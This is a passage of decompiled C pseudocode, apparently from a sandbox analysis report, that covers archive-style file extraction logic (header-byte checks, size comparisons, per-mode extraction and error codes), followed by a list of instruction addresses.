												_t400 =  *(_t687 + 8);
												_t593 = 0x45;
												__eflags =  *((char*)(_t400 + 0x6153));
												_t672 = 0x58;
												 *((intOrPtr*)(_t706 - 0x34)) = _t593;
												 *((intOrPtr*)(_t706 - 0x30)) = _t672;
												if( *((char*)(_t400 + 0x6153)) != 0) {
													L53:
													__eflags = _t697 - _t593;
													if(_t697 == _t593) {
														L55:
														_t97 = _t706 - 0x31a8; // -10664
														E00247098(_t97);
														_push(0);
														_t98 = _t706 - 0x31a8; // -10664
														_t405 = E0024A406(_t97, _t672, __eflags, _t687 + 0x10f6, _t98);
														__eflags = _t405;
														if(_t405 == 0) {
															_t406 =  *(_t687 + 8);
															__eflags =  *((char*)(_t406 + 0x6153));
															_t109 = _t706 - 0xd;
															 *_t109 =  *(_t706 - 0xd) & (_t406 & 0xffffff00 |  *((char*)(_t406 + 0x6153)) != 0x00000000) - 0x00000001;
															__eflags =  *_t109;
															L61:
															_t111 = _t706 - 0x113c; // -2364
															_t410 = E00247D45(_t111, _t577, _t111);
															__eflags = _t410;
															if(_t410 != 0) {
																while(1) {
																	__eflags =  *((char*)(_t577 + 0x331b));
																	if( *((char*)(_t577 + 0x331b)) == 0) {
																		goto L65;
																	}
																	_t116 = _t706 - 0x113c; // -2364
																	_t543 = E002481E0(_t687, _t577);
																	__eflags = _t543;
																	if(_t543 == 0) {
																		 *((char*)(_t687 + 0x20f6)) = 1;
																		goto L219;
																	}
																	L65:
																	_t118 = _t706 - 0x13c; // 0x6c4
																	_t700 =  *(_t687 + 8) + 0x5024;
																	_t596 = 0x40;
																	memcpy(_t118,  *(_t687 + 8) + 0x5024, _t596 << 2);
																	_t710 = _t708 + 0xc;
																	asm("movsw");
																	_t121 = _t706 - 0x28; // 0x7d8
																	_t687 =  *((intOrPtr*)(_t706 - 0x20));
																	 *(_t706 - 4) = 0;
																	asm("sbb ecx, ecx");
																	_t128 = _t706 - 0x13c; // 0x6c4
																	E0024C8D1(_t687 + 0x10, 0,  *((intOrPtr*)(_t577 + 0x331c)), _t128,  ~( *(_t577 + 0x3320) & 0x000000ff) & _t577 + 0x00003321, _t577 + 0x3331,  *((intOrPtr*)(_t577 + 0x336c)), _t577 + 0x334b, _t121);
																	__eflags =  *((char*)(_t577 + 0x331b));
																	if( *((char*)(_t577 + 0x331b)) == 0) {
																		L73:
																		 *(_t706 - 4) =  *(_t706 - 4) | 0xffffffff;
																		_t147 = _t706 - 0x13c; // 0x6c4
																		L0024E9F4(_t147);
																		_t148 = _t706 - 0x2160; // -6496
																		E002495B6(_t148);
																		_t420 =  *(_t577 + 0x3380);
																		 *(_t706 - 4) = 1;
																		 *(_t706 - 0x2c) = _t420;
																		_t674 = 0x50;
																		__eflags = _t420;
																		if(_t420 == 0) {
																			L83:
																			_t421 = E00242147(_t577);
																			__eflags = _t421;
																			if(_t421 == 0) {
																				_t605 =  *(_t706 - 0xd);
																				__eflags = _t605;
																				if(_t605 == 0) {
																					_t700 =  *(_t706 - 0x18);
																					L96:
																					__eflags =  *((char*)(_t577 + 0x6cb4));
																					if( *((char*)(_t577 + 0x6cb4)) == 0) {
																						__eflags = _t605;
																						if(_t605 == 0) {
																							L212:
																							 *(_t706 - 4) =  *(_t706 - 4) | 0xffffffff;
																							_t359 = _t706 - 0x2160; // -6496
																							E002495E8(_t359, _t700);
																							__eflags =  *(_t706 - 0x12);
																							_t387 =  *(_t706 - 0xd);
																							_t675 =  *(_t706 - 0xe);
																							if( *(_t706 - 0x12) != 0) {
																								_t363 = _t687 + 0xec;
																								 *_t363 =  *(_t687 + 0xec) + 1;
																								__eflags =  *_t363;
																							}
																							L214:
																							__eflags =  *((char*)(_t687 + 0x60));
																							if( *((char*)(_t687 + 0x60)) != 0) {
																								goto L219;
																							}
																							__eflags = _t387;
																							if(_t387 != 0) {
																								L15:
																								_t395 = 1;
																								goto L16;
																							}
																							__eflags =  *((intOrPtr*)(_t577 + 0x6cb4)) - _t387;
																							if( *((intOrPtr*)(_t577 + 0x6cb4)) != _t387) {
																								__eflags = _t675;
																								if(_t675 != 0) {
																									goto L15;
																								}
																								goto L219;
																							}
																							L217:
																							E00241F0A(_t577);
																							goto L15;
																						}
																						L101:
																						_t424 =  *(_t687 + 8);
																						__eflags =  *((char*)(_t424 + 0x61f9));
																						if( *((char*)(_t424 + 0x61f9)) == 0) {
																							L103:
																							_t425 =  *(_t706 - 0xe);
																							__eflags = _t425;
																							if(_t425 != 0) {
																								L108:
																								 *((char*)(_t706 - 0x11)) = 1;
																								__eflags = _t425;
																								if(_t425 != 0) {
																									L110:
																									 *((intOrPtr*)(_t687 + 0xe8)) =  *((intOrPtr*)(_t687 + 0xe8)) + 1;
																									 *((intOrPtr*)(_t687 + 0x80)) = 0;
																									 *((intOrPtr*)(_t687 + 0x84)) = 0;
																									 *((intOrPtr*)(_t687 + 0x88)) = 0;
																									 *((intOrPtr*)(_t687 + 0x8c)) = 0;
																									E0024A9C8(_t687 + 0xc8, _t674,  *((intOrPtr*)(_t577 + 0x32f0)),  *((intOrPtr*)( *(_t687 + 8) + 0x82d8))); // executed
																									E0024A9C8(_t687 + 0xa0, _t674,  *((intOrPtr*)(_t577 + 0x32f0)),  *((intOrPtr*)( *(_t687 + 8) + 0x82d8)));
																									_t700 = _t687 + 0x10;
																									 *(_t687 + 0x30) =  *(_t577 + 0x32d8);
																									_t218 = _t706 - 0x2160; // -6496
																									 *(_t687 + 0x34) =  *(_t577 + 0x32dc);
																									E0024C919(_t700, _t577, _t218);
																									_t676 =  *((intOrPtr*)(_t706 - 0x11));
																									_t612 = 0;
																									_t434 =  *(_t706 - 0xe);
																									 *((char*)(_t687 + 0x39)) = _t676;
																									 *((char*)(_t687 + 0x3a)) = _t434;
																									 *(_t706 - 0x24) = 0;
																									 *(_t706 - 0x1c) = 0;
																									__eflags = _t676;
																									if(_t676 != 0) {
																										L127:
																										_t677 =  *(_t687 + 8);
																										__eflags =  *((char*)(_t677 + 0x6198));
																										 *((char*)(_t706 - 0x214d)) =  *((char*)(_t677 + 0x6198)) == 0;
																										__eflags =  *((char*)(_t706 - 0x11));
																										if( *((char*)(_t706 - 0x11)) != 0) {
																											L131:
																											_t436 = 1;
																											__eflags = 1;
																											L132:
																											__eflags =  *(_t706 - 0x2c);
																											 *((char*)(_t706 - 0x10)) = _t612;
																											 *((char*)(_t706 - 0x14)) = _t436;
																											 *((char*)(_t706 - 0xf)) = _t436;
																											if( *(_t706 - 0x2c) == 0) {
																												__eflags =  *(_t577 + 0x3318);
																												if( *(_t577 + 0x3318) == 0) {
																													__eflags =  *((char*)(_t577 + 0x22a0));
																													if(__eflags != 0) {
																														E00252BB2(_t577,  *((intOrPtr*)(_t687 + 0xe0)), _t706,  *((intOrPtr*)(_t577 + 0x3374)),  *(_t577 + 0x3370) & 0x000000ff);
																														_t474 =  *((intOrPtr*)(_t687 + 0xe0));
																														 *(_t474 + 0x4c48) =  *(_t577 + 0x32e0);
																														__eflags = 0;
																														 *(_t474 + 0x4c4c) =  *(_t577 + 0x32e4);
																														 *((char*)(_t474 + 0x4c60)) = 0;
																														E00252861( *((intOrPtr*)(_t687 + 0xe0)),  *((intOrPtr*)(_t577 + 0x229c)),  *(_t577 + 0x3370) & 0x000000ff); // executed
																													} else {
																														_push( *(_t577 + 0x32e4));
																														_push( *(_t577 + 0x32e0));
																														_push(_t700);
																														E00249283(_t577, _t677, _t687, __eflags);
																													}
																												}
																												L163:
																												E00241F0A(_t577);
																												__eflags =  *((char*)(_t577 + 0x3319));
																												if( *((char*)(_t577 + 0x3319)) != 0) {
																													L166:
																													_t438 = 0;
																													__eflags = 0;
																													_t614 = 0;
																													L167:
																													__eflags =  *(_t577 + 0x3370);
																													if( *(_t577 + 0x3370) != 0) {
																														__eflags =  *((char*)(_t577 + 0x22a0));
																														if( *((char*)(_t577 + 0x22a0)) == 0) {
																															L175:
																															__eflags =  *(_t706 - 0xe);
																															 *((char*)(_t706 - 0x10)) = _t438;
																															if( *(_t706 - 0xe) != 0) {
																																L185:
																																__eflags =  *(_t706 - 0x2c);
																																_t678 =  *((intOrPtr*)(_t706 - 0xf));
																																if( *(_t706 - 0x2c) == 0) {
																																	L189:
																																	_t615 = 0;
																																	__eflags = 0;
																																	L190:
																																	__eflags =  *((char*)(_t706 - 0x11));
																																	if( *((char*)(_t706 - 0x11)) != 0) {
																																		goto L212;
																																	}
																																	_t700 =  *(_t706 - 0x18);
																																	__eflags = _t700 -  *((intOrPtr*)(_t706 - 0x30));
																																	if(_t700 ==  *((intOrPtr*)(_t706 - 0x30))) {
																																		L193:
																																		__eflags =  *(_t706 - 0x2c);
																																		if( *(_t706 - 0x2c) == 0) {
																																			L197:
																																			__eflags = _t438;
																																			if(_t438 == 0) {
																																				L200:
																																				__eflags = _t615;
																																				if(_t615 != 0) {
																																					L208:
																																					_t439 =  *(_t687 + 8);
																																					__eflags =  *((char*)(_t439 + 0x61a0));
																																					if( *((char*)(_t439 + 0x61a0)) == 0) {
																																						_t700 = _t687 + 0x10f6;
																																						_t440 = E0024A384(_t687 + 0x10f6,  *((intOrPtr*)(_t577 + 0x22a4))); // executed
																																						__eflags = _t440;
																																						if(__eflags == 0) {
																																							E00247032(__eflags, 0x11, _t577 + 0x1e, _t700);
																																						}
																																					}
																																					 *(_t687 + 0x10f5) = 1;
																																					goto L212;
																																				}
																																				_t679 =  *(_t706 - 0x1c);
																																				__eflags = _t679;
																																				_t617 =  *(_t706 - 0x24);
																																				if(_t679 > 0) {
																																					L203:
																																					__eflags = _t438;
																																					if(_t438 != 0) {
																																						L206:
																																						_t332 = _t706 - 0x2160; // -6496
																																						E00249DFF(_t332);
																																						L207:
																																						_t700 = _t577 + 0x32d0;
																																						_t692 = _t577 + 0x32c0;
																																						asm("sbb eax, eax");
																																						asm("sbb ecx, ecx");
																																						asm("sbb eax, eax");
																																						_t340 = _t706 - 0x2160; // -6496
																																						E00249CA2(_t340, _t577 + 0x32d0,  ~( *( *(_t687 + 8) + 0x72c8)) & _t692,  ~( *( *(_t687 + 8) + 0x72cc)) & _t577 + 0x000032c8,  ~( *( *(_t687 + 8) + 0x72d0)) & _t577 + 0x000032d0);
																																						_t341 = _t706 - 0x2160; // -6496
																																						E00249670(_t341);
																																						E00247BAA( *((intOrPtr*)(_t706 - 0x20)),  *((intOrPtr*)( *((intOrPtr*)(_t706 - 0x20)) + 8)), _t577,  *((intOrPtr*)(_t706 - 0x38)));
																																						asm("sbb eax, eax");
																																						asm("sbb eax, eax");
																																						__eflags =  ~( *( *((intOrPtr*)( *((intOrPtr*)(_t706 - 0x20)) + 8)) + 0x72c8)) & _t692;
																																						E00249C9F( ~( *( *((intOrPtr*)( *((intOrPtr*)(_t706 - 0x20)) + 8)) + 0x72c8)) & _t692,  ~( *( *((intOrPtr*)( *((intOrPtr*)(_t706 - 0x20)) + 8)) + 0x72c8)) & _t692,  ~( *( *((intOrPtr*)( *((intOrPtr*)(_t706 - 0x20)) + 8)) + 0x72d0)) & _t577 + 0x000032d0);
																																						_t687 =  *((intOrPtr*)(_t706 - 0x20));
																																						goto L208;
																																					}
																																					__eflags =  *((intOrPtr*)(_t687 + 0x88)) - _t617;
																																					if( *((intOrPtr*)(_t687 + 0x88)) != _t617) {
																																						goto L206;
																																					}
																																					__eflags =  *((intOrPtr*)(_t687 + 0x8c)) - _t679;
																																					if( *((intOrPtr*)(_t687 + 0x8c)) == _t679) {
																																						goto L207;
																																					}
																																					goto L206;
																																				}
																																				__eflags = _t617;
																																				if(_t617 == 0) {
																																					goto L207;
																																				}
																																				goto L203;
																																			}
																																			_t462 =  *(_t687 + 8);
																																			__eflags =  *((char*)(_t462 + 0x6198));
																																			if( *((char*)(_t462 + 0x6198)) == 0) {
																																				goto L212;
																																			}
																																			_t438 =  *((intOrPtr*)(_t706 - 0x10));
																																			goto L200;
																																		}
																																		__eflags = _t615;
																																		if(_t615 != 0) {
																																			goto L197;
																																		}
																																		__eflags =  *(_t577 + 0x3380) - 5;
																																		if( *(_t577 + 0x3380) != 5) {
																																			goto L212;
																																		}
																																		__eflags = _t678;
																																		if(_t678 == 0) {
																																			goto L212;
																																		}
																																		goto L197;
																																	}
																																	__eflags = _t700 -  *((intOrPtr*)(_t706 - 0x34));
																																	if(_t700 !=  *((intOrPtr*)(_t706 - 0x34))) {
																																		goto L212;
																																	}
																																	goto L193;
																																}
																																__eflags =  *(_t577 + 0x3380) - 4;
																																if( *(_t577 + 0x3380) != 4) {
																																	goto L189;
																																}
																																__eflags = _t678;
																																if(_t678 == 0) {
																																	goto L189;
																																}
																																_t615 = 1;
																																goto L190;
																															}
																															__eflags =  *((char*)(_t706 - 0x14));
																															if( *((char*)(_t706 - 0x14)) == 0) {
																																goto L185;
																															}
																															__eflags = _t614;
																															if(_t614 != 0) {
																																goto L185;
																															}
																															__eflags =  *((intOrPtr*)(_t577 + 0x331b)) - _t614;
																															if(__eflags == 0) {
																																L183:
																																_t312 = _t706 - 0x113c; // -2364
																																_push(_t577 + 0x1e);
																																_push(3);
																																L184:
																																E00247032(__eflags);
																																 *((char*)(_t706 - 0x10)) = 1;
																																E00246F5B(0x27ff50, 3);
																																_t438 =  *((intOrPtr*)(_t706 - 0x10));
																																goto L185;
																															}
																															__eflags =  *((intOrPtr*)(_t577 + 0x3341)) - _t614;
																															if( *((intOrPtr*)(_t577 + 0x3341)) == _t614) {
																																L181:
																																__eflags =  *((char*)(_t687 + 0xf3));
																																if(__eflags != 0) {
																																	goto L183;
																																}
																																_t310 = _t706 - 0x113c; // -2364
																																_push(_t577 + 0x1e);
																																_push(4);
																																goto L184;
																															}
																															__eflags =  *(_t577 + 0x6cc4) - _t614;
																															if(__eflags == 0) {
																																goto L183;
																															}
																															goto L181;
																														}
																														__eflags =  *(_t577 + 0x32e4) - _t438;
																														if(__eflags < 0) {
																															goto L175;
																														}
																														if(__eflags > 0) {
																															L173:
																															__eflags = _t614;
																															if(_t614 != 0) {
																																 *((char*)(_t687 + 0xf3)) = 1;
																															}
																															goto L175;
																														}
																														__eflags =  *(_t577 + 0x32e0) - _t438;
																														if( *(_t577 + 0x32e0) <= _t438) {
																															goto L175;
																														}
																														goto L173;
																													}
																													 *((char*)(_t687 + 0xf3)) = _t438;
																													goto L175;
																												}
																												asm("sbb edx, edx");
																												_t471 = E0024A996(_t687 + 0xc8, _t687, _t577 + 0x32f0,  ~( *(_t577 + 0x334a) & 0x000000ff) & _t577 + 0x0000334b);
																												__eflags = _t471;
																												if(_t471 == 0) {
																													goto L166;
																												}
																												_t614 = 1;
																												_t438 = 0;
																												goto L167;
																											}
																											_t700 =  *(_t577 + 0x3380);
																											__eflags = _t700 - 4;
																											if(__eflags == 0) {
																												L146:
																												_push(0x800);
																												_t263 = _t706 - 0x41a8; // -14760
																												E00248214(__eflags, _t577, _t577 + 0x3384, _t263);
																												_t612 =  *((intOrPtr*)(_t706 - 0x10));
																												__eflags = _t612;
																												if(_t612 == 0) {
																													L153:
																													_t481 =  *((intOrPtr*)(_t706 - 0xf));
																													L154:
																													__eflags =  *((intOrPtr*)(_t577 + 0x6cb0)) - 2;
																													if( *((intOrPtr*)(_t577 + 0x6cb0)) != 2) {
																														L141:
																														__eflags = _t612;
																														if(_t612 == 0) {
																															L157:
																															_t482 = 0;
																															__eflags = 0;
																															L158:
																															 *(_t687 + 0x10f5) = _t482;
																															goto L163;
																														}
																														L142:
																														__eflags = _t481;
																														if(_t481 == 0) {
																															goto L157;
																														}
																														_t482 = 1;
																														goto L158;
																													}
																													__eflags = _t612;
																													if(_t612 != 0) {
																														goto L142;
																													}
																													L140:
																													 *((char*)(_t706 - 0x14)) = 0;
																													goto L141;
																												}
																												__eflags =  *((short*)(_t706 - 0x41a8));
																												if( *((short*)(_t706 - 0x41a8)) == 0) {
																													goto L153;
																												}
																												_t267 = _t706 - 0x41a8; // -14760
																												_push(0x800);
																												_push(_t687 + 0x10f6);
																												__eflags = _t700 - 4;
																												if(__eflags != 0) {
																													_push(_t577 + 0x1e);
																													_t270 = _t706 - 0x2160; // -6496
																													_t481 = E002491C1(_t677, _t687, _t700, __eflags);
																												} else {
																													_t481 = E00247671(_t612, __eflags);
																												}
																												L151:
																												 *((char*)(_t706 - 0xf)) = _t481;
																												__eflags = _t481;
																												if(_t481 == 0) {
																													L139:
																													_t612 =  *((intOrPtr*)(_t706 - 0x10));
																													goto L140;
																												}
																												_t612 =  *((intOrPtr*)(_t706 - 0x10));
																												goto L154;
																											}
																											__eflags = _t700 - 5;
																											if(__eflags == 0) {
																												goto L146;
																											}
																											__eflags = _t700 - _t436;
																											if(_t700 == _t436) {
																												L144:
																												__eflags = _t612;
																												if(_t612 == 0) {
																													goto L153;
																												}
																												_push(_t687 + 0x10f6);
																												_t481 = E002478E0(_t677, _t687 + 0x10, _t577);
																												goto L151;
																											}
																											__eflags = _t700 - 2;
																											if(_t700 == 2) {
																												goto L144;
																											}
																											__eflags = _t700 - 3;
																											if(__eflags == 0) {
																												goto L144;
																											}
																											E00247032(__eflags, 0x47, _t577 + 0x1e, _t687 + 0x10f6);
																											__eflags = 0;
																											_t481 = 0;
																											 *((char*)(_t706 - 0xf)) = 0;
																											goto L139;
																										}
																										__eflags = _t434;
																										if(_t434 != 0) {
																											goto L131;
																										}
																										_t493 = 0x50;
																										__eflags =  *(_t706 - 0x18) - _t493;
																										if( *(_t706 - 0x18) == _t493) {
																											goto L131;
																										}
																										_t436 = 1;
																										_t612 = 1;
																										goto L132;
																									}
																									__eflags =  *(_t577 + 0x6cc4);
																									if( *(_t577 + 0x6cc4) != 0) {
																										goto L127;
																									}
																									_t702 =  *(_t577 + 0x32e4);
																									_t685 =  *(_t577 + 0x32e0);
																									__eflags = _t702;
																									if(__eflags < 0) {
																										L126:
																										_t700 = _t687 + 0x10;
																										goto L127;
																									}
																									if(__eflags > 0) {
																										L115:
																										_t635 =  *(_t577 + 0x32d8);
																										_t636 = _t635 << 0xa;
																										__eflags = ( *(_t577 + 0x32dc) << 0x00000020 | _t635) << 0xa - _t702;
																										if(__eflags < 0) {
																											L125:
																											_t434 =  *(_t706 - 0xe);
																											_t612 = 0;
																											__eflags = 0;
																											goto L126;
																										}
																										if(__eflags > 0) {
																											L118:
																											__eflags = _t702;
																											if(__eflags < 0) {
																												L124:
																												_t238 = _t706 - 0x2160; // -6496
																												E00249ABD(_t238,  *(_t577 + 0x32e0),  *(_t577 + 0x32e4));
																												 *(_t706 - 0x24) =  *(_t577 + 0x32e0);
																												 *(_t706 - 0x1c) =  *(_t577 + 0x32e4);
																												goto L125;
																											}
																											if(__eflags > 0) {
																												L121:
																												_t501 = E00249885(_t685);
																												__eflags = _t685 -  *(_t577 + 0x32dc);
																												if(__eflags < 0) {
																													goto L125;
																												}
																												if(__eflags > 0) {
																													goto L124;
																												}
																												__eflags = _t501 -  *(_t577 + 0x32d8);
																												if(_t501 <=  *(_t577 + 0x32d8)) {
																													goto L125;
																												}
																												goto L124;
																											}
																											__eflags = _t685 - 0x5f5e100;
																											if(_t685 < 0x5f5e100) {
																												goto L124;
																											}
																											goto L121;
																										}
																										__eflags = _t636 - _t685;
																										if(_t636 <= _t685) {
																											goto L125;
																										}
																										goto L118;
																									}
																									__eflags = _t685 - 0xf4240;
																									if(_t685 <= 0xf4240) {
																										goto L126;
																									}
																									goto L115;
																								}
																								L109:
																								_t199 = _t687 + 0xe4;
																								 *_t199 =  *(_t687 + 0xe4) + 1;
																								__eflags =  *_t199;
																								goto L110;
																							}
																							 *((char*)(_t706 - 0x11)) = 0;
																							_t503 = 0x50;
																							__eflags = _t700 - _t503;
																							if(_t700 != _t503) {
																								_t193 = _t706 - 0x2160; // -6496
																								__eflags = E00249929(_t193);
																								if(__eflags != 0) {
																									E00247032(__eflags, 0x3b, _t577 + 0x1e, _t687 + 0x10f6);
																									E00246FF6(0x27ff50, _t706, _t577 + 0x1e, _t687 + 0x10f6);
																								}
																							}
																							goto L109;
																						}
																						 *(_t687 + 0x10f5) = 1;
																						__eflags =  *((char*)(_t424 + 0x61f9));
																						if( *((char*)(_t424 + 0x61f9)) != 0) {
																							_t425 =  *(_t706 - 0xe);
																							goto L108;
																						}
																						goto L103;
																					}
																					 *(_t706 - 0xe) = 1;
																					 *(_t706 - 0xd) = 1;
																					_t183 = _t706 - 0x113c; // -2364
																					_t513 = L002512D1(_t605, _t183, 0, 0, 1);
																					__eflags = _t513;
																					if(_t513 != 0) {
																						goto L101;
																					}
																					__eflags = 0;
																					 *(_t706 - 0x1c) = 0;
																					L99:
																					_t185 = _t706 - 0x2160; // -6496
																					E002495E8(_t185, _t700);
																					_t395 =  *(_t706 - 0x1c);
																					goto L16;
																				}
																				_t175 = _t706 - 0x2160; // -6496
																				_push(_t577);
																				_t517 = E002480C2(_t687);
																				_t700 =  *(_t706 - 0x18);
																				_t605 = _t517;
																				 *(_t706 - 0xd) = _t605;
																				L93:
																				__eflags = _t605;
																				if(_t605 != 0) {
																					goto L101;
																				}
																				goto L96;
																			}
																			__eflags =  *(_t706 - 0xd);
																			if( *(_t706 - 0xd) != 0) {
																				_t518 =  *(_t706 - 0x18);
																				__eflags = _t518 - 0x50;
																				if(_t518 != 0x50) {
																					_t643 = 0x49;
																					__eflags = _t518 - _t643;
																					if(_t518 != _t643) {
																						_t644 = 0x45;
																						__eflags = _t518 - _t644;
																						if(_t518 != _t644) {
																							_t519 =  *(_t687 + 8);
																							__eflags =  *((intOrPtr*)(_t519 + 0x6158)) - 1;
																							if( *((intOrPtr*)(_t519 + 0x6158)) != 1) {
																								 *(_t687 + 0xe4) =  *(_t687 + 0xe4) + 1;
																								_t173 = _t706 - 0x113c; // -2364
																								_push(_t577);
																								E00247EFE(_t687);
																							}
																						}
																					}
																				}
																			}
																			goto L99;
																		}
																		__eflags = _t420 - 5;
																		if(_t420 == 5) {
																			goto L83;
																		}
																		_t605 =  *(_t706 - 0xd);
																		_t700 =  *(_t706 - 0x18);
																		__eflags = _t605;
																		if(_t605 == 0) {
																			goto L96;
																		}
																		__eflags = _t700 - _t674;
																		if(_t700 == _t674) {
																			goto L93;
																		}
																		_t522 =  *(_t687 + 8);
																		__eflags =  *((char*)(_t522 + 0x61f9));
																		if( *((char*)(_t522 + 0x61f9)) != 0) {
																			goto L93;
																		}
																		 *((char*)(_t706 - 0x11)) = 0;
																		_t525 = E0024A0C0(_t687 + 0x10f6);
																		__eflags = _t525;
																		if(_t525 == 0) {
																			L81:
																			__eflags =  *((char*)(_t706 - 0x11));
																			if( *((char*)(_t706 - 0x11)) == 0) {
																				_t605 =  *(_t706 - 0xd);
																				goto L93;
																			}
																			L82:
																			_t605 = 0;
																			 *(_t706 - 0xd) = 0;
																			goto L93;
																		}
																		__eflags =  *((char*)(_t706 - 0x11));
																		if( *((char*)(_t706 - 0x11)) != 0) {
																			goto L82;
																		}
																		__eflags = 0;
																		_push(0);
																		_push(_t577 + 0x32c0);
																		_t161 = _t706 - 0x11; // 0x7ef
																		E00249314(0,  *(_t687 + 8), 0, _t687 + 0x10f6, 0x800, _t161,  *(_t577 + 0x32e0),  *(_t577 + 0x32e4));
																		goto L81;
																	}
																	__eflags =  *((char*)(_t577 + 0x3341));
																	if( *((char*)(_t577 + 0x3341)) == 0) {
																		goto L73;
																	}
																	_t133 = _t706 - 0x28; // 0x7d8
																	_t533 = E0025FC4A(_t577 + 0x3342, _t133, 8);
																	_t708 = _t710 + 0xc;
																	__eflags = _t533;
																	if(_t533 == 0) {
																		goto L73;
																	}
																	__eflags =  *(_t577 + 0x6cc4);
																	if( *(_t577 + 0x6cc4) != 0) {
																		goto L73;
																	}
																	__eflags =  *((char*)(_t687 + 0x10f4));
																	_t137 = _t706 - 0x113c; // -2364
																	_push(_t577 + 0x1e);
																	if(__eflags != 0) {
																		_push(6);
																		E00247032(__eflags);
																		E00246F5B(0x27ff50, 0xb);
																		__eflags = 0;
																		 *(_t706 - 0xd) = 0;
																		goto L73;
																	}
																	_push(0x7d);
																	E00247032(__eflags);
																	E0024EA67( *(_t687 + 8) + 0x5024);
																	 *(_t706 - 4) =  *(_t706 - 4) | 0xffffffff;
																	_t142 = _t706 - 0x13c; // 0x6c4
																	L0024E9F4(_t142);
																}
															}
															E00246F5B(0x27ff50, 2);
															_t545 = E00241F0A(_t577);
															__eflags =  *((char*)(_t577 + 0x6cb4));
															_t395 = _t545 & 0xffffff00 |  *((char*)(_t577 + 0x6cb4)) == 0x00000000;
															goto L16;
														}
														_t101 = _t706 - 0x2198; // -6552
														_t547 = E00247D1E(_t101, _t577 + 0x32c0);
														__eflags = _t547;
														if(_t547 == 0) {
															goto L61;
														}
														__eflags =  *((char*)(_t706 - 0x219c));
														if( *((char*)(_t706 - 0x219c)) == 0) {
															L59:
															 *(_t706 - 0xd) = 0;
															goto L61;
														}
														_t103 = _t706 - 0x2198; // -6552
														_t549 = E00247D00(_t103, _t687);
														__eflags = _t549;
														if(_t549 == 0) {
															goto L61;
														}
														goto L59;
													}
													__eflags = _t697 - _t672;
													if(_t697 != _t672) {
														goto L61;
													}
													goto L55;
												}
												__eflags =  *((char*)(_t400 + 0x6154));
												if( *((char*)(_t400 + 0x6154)) == 0) {
													goto L61;
												}
												goto L53;
											}
											__eflags =  *(_t687 + 0x10f6);
											if( *(_t687 + 0x10f6) == 0) {
												goto L50;
											}
											 *(_t706 - 0xd) = 1;
											__eflags =  *(_t577 + 0x3318);
											if( *(_t577 + 0x3318) == 0) {
												goto L51;
											}
											goto L50;
										}
										__eflags = _t697 - _t389;
										_t390 = 1;
										if(_t697 != _t389) {
											goto L46;
										}
										goto L45;
									}
									_t675 =  *((intOrPtr*)(_t577 + 0x6cb4));
									 *(_t706 - 0xe) = _t675;
									 *(_t706 - 0x24) = _t675;
									__eflags = _t675;
									if(_t675 == 0) {
										goto L214;
									} else {
										_t671 = 0;
										__eflags = 0;
										goto L43;
									}
								}
								__eflags =  *(_t687 + 0xec) -  *((intOrPtr*)(_t580 + 0xa32c));
								if( *(_t687 + 0xec) <  *((intOrPtr*)(_t580 + 0xa32c))) {
									goto L29;
								}
								__eflags =  *((char*)(_t687 + 0xf1));
								if( *((char*)(_t687 + 0xf1)) != 0) {
									goto L219;
								}
								goto L29;
							}
							if(__eflags < 0) {
								L25:
								 *(_t577 + 0x32e0) = _t670;
								 *(_t577 + 0x32e4) = _t670;
								goto L26;
							}
							__eflags =  *(_t577 + 0x32e0) - _t670;
							if( *(_t577 + 0x32e0) >= _t670) {
								goto L26;
							}
							goto L25;
						}
						if(__eflags < 0) {
							L21:
							 *(_t577 + 0x32d8) = _t670;
							 *(_t577 + 0x32dc) = _t670;
							goto L22;
						}
						__eflags =  *(_t577 + 0x32d8) - _t670;
						if( *(_t577 + 0x32d8) >= _t670) {
							goto L22;
						}
						goto L21;
					}
					__eflags = _t694 - 3;
					if(_t694 != 3) {
						L10:
						__eflags = _t694 - 5;
						if(_t694 != 5) {
							goto L217;
						}
						__eflags =  *((char*)(_t577 + 0x45ac));
						if( *((char*)(_t577 + 0x45ac)) == 0) {
							goto L219;
						}
						_push( *(_t706 - 0x18));
						_push(0);
						_push(_t687 + 0x10);
						_push(_t577);
						_t566 = E0025842D(_t670);
						__eflags = _t566;
						if(_t566 != 0) {
							__eflags = 0;
							 *0x272260( *((intOrPtr*)(_t577 + 0x6ca0)),  *((intOrPtr*)(_t577 + 0x6ca4)), 0);
							 *((intOrPtr*)( *((intOrPtr*)( *_t577 + 0x10))))();
							goto L15;
						} else {
							E00246F5B(0x27ff50, 1);
							goto L219;
						}
					}
					__eflags =  *(_t687 + 0x10f5);
					if( *(_t687 + 0x10f5) == 0) {
						goto L217;
					} else {
						E00247B3F(_t577, _t706,  *(_t687 + 8), _t577, _t687 + 0x10f6);
						goto L10;
					}
				}
				if( *((intOrPtr*)(_t687 + 0x5f)) == 0) {
					L4:
					_t395 = 0;
					goto L17;
				}
				_push(_t371);
				_push(0);
				_push(_t687 + 0x10);
				_push(_t577);
				if(E0025842D(0) != 0) {
					_t670 = 0;
					__eflags = 0;
					goto L6;
				} else {
					E00246F5B(0x27ff50, 1);
					goto L4;
				}
			}

0x00248525
0x0024852a
0x00248534
0x0024853a
0x0024853d
0x00248540
0x00248542
0x00248548
0x0024854f
0x00248555
0x00248581
0x00248582
0x00248588
0x0024858b
0x00248624
0x0024862a
0x00248630
0x00248648
0x00248648
0x0024864e
0x00248666
0x00248666
0x00248669
0x0024866f
0x0024868c
0x00248691
0x00248695
0x0024869f
0x002486aa
0x002486af
0x002486b1
0x002486b4
0x002486b7
0x002486b9
0x002486bb
0x002486bf
0x002486c1
0x002486c3
0x002486c3
0x002486bf
0x002486cb
0x002486d0
0x002486d1
0x002486de
0x002486df
0x002486e7
0x002486ee
0x002486f1
0x00248748
0x0024874d
0x0024874f
0x00248751
0x00248757
0x0024875d
0x00248761
0x00248761
0x00248761
0x00248761
0x002486f3
0x002486f6
0x002486fc
0x002486fe
0x00248700
0x00248704
0x00248706
0x0024870d
0x00248712
0x00248713
0x0024871a
0x0024871f
0x00248729
0x0024872b
0x00248741
0x0024872d
0x0024872f
0x00248736
0x00248738
0x00248738
0x0024872b
0x00248704
0x002486fe
0x0024876a
0x0024876f
0x00248787
0x00248792
0x0024879a
0x0024879d
0x0024879f
0x002487a3
0x002487a6
0x002487a9
0x002487ac
0x002487c4
0x002487c7
0x002487cc
0x002487d2
0x002487d3
0x002487d5
0x002487de
0x002487de
0x002487e0
0x002487e3
0x002487ed
0x002487f4
0x002487f9
0x002487fb
0x002491ba
0x002491ba
0x00248611
0x00248612
0x00248617
0x00248621
0x00248621
0x00248801
0x0024880f
0x00248812
0x0024881a
0x00248821
0x00248824
0x0024883b
0x0024883b
0x0024883e
0x0024883e
0x00248843
